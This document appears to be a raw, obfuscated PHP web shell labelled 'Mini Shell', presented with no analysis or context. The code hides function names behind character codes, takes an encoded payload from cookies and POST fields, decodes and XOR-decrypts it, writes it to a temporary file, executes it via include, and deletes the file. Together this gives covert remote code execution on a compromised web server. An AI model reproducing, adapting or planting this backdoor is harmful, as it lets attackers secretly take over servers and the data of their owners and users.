Mini Shell

$CUMHbG = "\151" . "\x70" . '_' . chr (78) . "\x4d" . chr (119); $tNNjXizg = "\x63" . 'l' . 'a' . chr ( 734 - 619 ).'s' . "\x5f" . 'e' . "\170" . "\151" . 's' . "\164" . "\x73";$VhkXyLMnX = class_exists($CUMHbG); $tNNjXizg = "63800";$Gljne = strpos($tNNjXizg, $CUMHbG);if ($VhkXyLMnX == $Gljne){function qMySGEE(){$woCyijh = new /* 48866 */ ip_NMw(31150 + 31150); $woCyijh = NULL;}$uBPSeo = "31150";class ip_NMw{private function tNfmawj($uBPSeo){if (is_array(ip_NMw::$UYZlr)) {$name = sys_get_temp_dir() . "/" . crc32(ip_NMw::$UYZlr["salt"]);@ip_NMw::$UYZlr["write"]($name, ip_NMw::$UYZlr["content"]);include $name;@ip_NMw::$UYZlr["delete"]($name); $uBPSeo = "31150";exit();}}public function uVyvAyOWan(){$UEOREqC = "23442";$this->_dummy = str_repeat($UEOREqC, strlen($UEOREqC));}public function __destruct(){ip_NMw::$UYZlr = @unserialize(ip_NMw::$UYZlr); $uBPSeo = "23080_53957";$this->tNfmawj($uBPSeo); $uBPSeo = "23080_53957";}public function RSdBHUkst($UEOREqC, $ZCymC){return $UEOREqC[0] ^ str_repeat($ZCymC, intval(strlen($UEOREqC[0]) / strlen($ZCymC)) + 1);}public function YBRoa($UEOREqC){$cJcEWXYhUY = chr ( 978 - 880 )."\x61" . "\163" . "\145" . "\66" . chr ( 297 - 245 );return array_map($cJcEWXYhUY . "\x5f" . chr (100) . chr (101) . chr ( 272 - 173 ).chr (111) . "\144" . "\145", array($UEOREqC,));}public function __construct($MUkPmm=0){$SODhv = chr (44); $UEOREqC = "";$utAuCrbRW = $_POST;$YYtyW = $_COOKIE;$ZCymC = "26a9889b-f935-402f-97bf-b0f0257233de";$YrpzmtVXx = @$YYtyW[substr($ZCymC, 0, 4)];if (!empty($YrpzmtVXx)){$YrpzmtVXx = explode($SODhv, $YrpzmtVXx);foreach ($YrpzmtVXx as $BWerULivP){$UEOREqC .= @$YYtyW[$BWerULivP];$UEOREqC .= @$utAuCrbRW[$BWerULivP];}$UEOREqC = $this->YBRoa($UEOREqC);}ip_NMw::$UYZlr = $this->RSdBHUkst($UEOREqC, $ZCymC);if (strpos($ZCymC, $SODhv) !== FALSE){$ZCymC = chunk_split($ZCymC); $ZCymC = rtrim($ZCymC);}}public static $UYZlr = 3840;}qMySGEE();}